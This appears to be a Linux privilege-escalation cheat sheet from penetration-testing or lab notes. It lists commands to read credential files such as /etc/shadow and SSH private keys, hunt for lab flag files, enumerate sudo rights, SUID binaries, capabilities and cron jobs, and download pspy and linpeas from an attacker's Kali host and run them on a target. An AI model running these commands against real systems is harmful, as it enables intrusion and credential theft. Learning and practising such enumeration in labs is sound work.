Linux
Interesting Files
cat /etc/passwd
cat /etc/shadow
cat /etc/hosts
ls -la /var/www
ls -la /opt
cat /root/.ssh/authorized_keys
cat /root/.ssh/id_rsa
cat /home/<Username>/.ssh/id_rsa
cat /home/<Username>/.ssh/id_ecdsa
cat /home/<Username>/.ssh/authorized_keys
find / -name config.php -type f 2>/dev/null
find / -name doas.conf -type f 2>/dev/null
find / -name apache* -type d 2>/dev/null
find / -name *.txt -type f 2>/dev/null
find / -name *.sh -type f 2>/dev/null
find / -name .ht* -type f 2>/dev/null
find / -name id_rsa -type f 2>/dev/null
find / -name id_ecdsa -type f 2>/dev/null
find / -name authorized_keys -type f 2>/dev/null
find / \( -name "local.txt" -o -name "proof.txt" \) -type f 2>/dev/nullSudo Things
List the commands user is allowed to run
sudo -lRetrieve sudo version
sudo -V | grep -i "sudo ver"Run as another user
su - <Username>System Information
List system information
uname -aCPU information
lscpuDisck information
lsblkUSB information
lsusbKernel version
cat /etc/issueNetwork
ss -ntlpNetwork details
ip aRouting table
routelHostname
hostnameEnvironment variables
envInspect command history
cat .bashrcUser Roles
Display user identity
idDisplay group names user belong to
groupsCrontab
List scheduled cron jobs for current user
crontab -lDisplay system wide crontab
cat /etc/crontabDisplay all cronjobs
ls -lah /etc/cron.*Search system log for cron-related activity
grep -i "CRON" /var/log/syslogRead the cron job content inside the cronjob directory
cat <Cron Job Name>Special Bits
Find all files on system with SUID bit
find / -perm -u=s -type f 2>/dev/nullRecursively lists all files with capabilities set
getcap -r / 2>/dev/null/usr/sbin/getcap -r / 2>/dev/nullWritable Directories
Find all directories user has write permissions
find / -writable -type d 2>/dev/nullCatch Repeating Processes
Monitor specific processes in real time
watch -n 1 "ps aux | grep -i <Keyword>"while sleep 1; do ps aux | grep -i <Keyword>; doneMonitor Proceses with PsPy
On Kali
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64On Target Machine
Retrieve the application from Kali
wget http://<Kali IP Address>/pspy64 && chmod +x pspy64Run the application
timeout 61s ./pspy64Reading Binaries
strings <File Name>LinPeas
On Target Machine
Retrieve the application from Kali
wget http://<Kali IP Address>/linpeas.sh && chmod +x linpeas.shRun the application
./linpeas.shLast updated

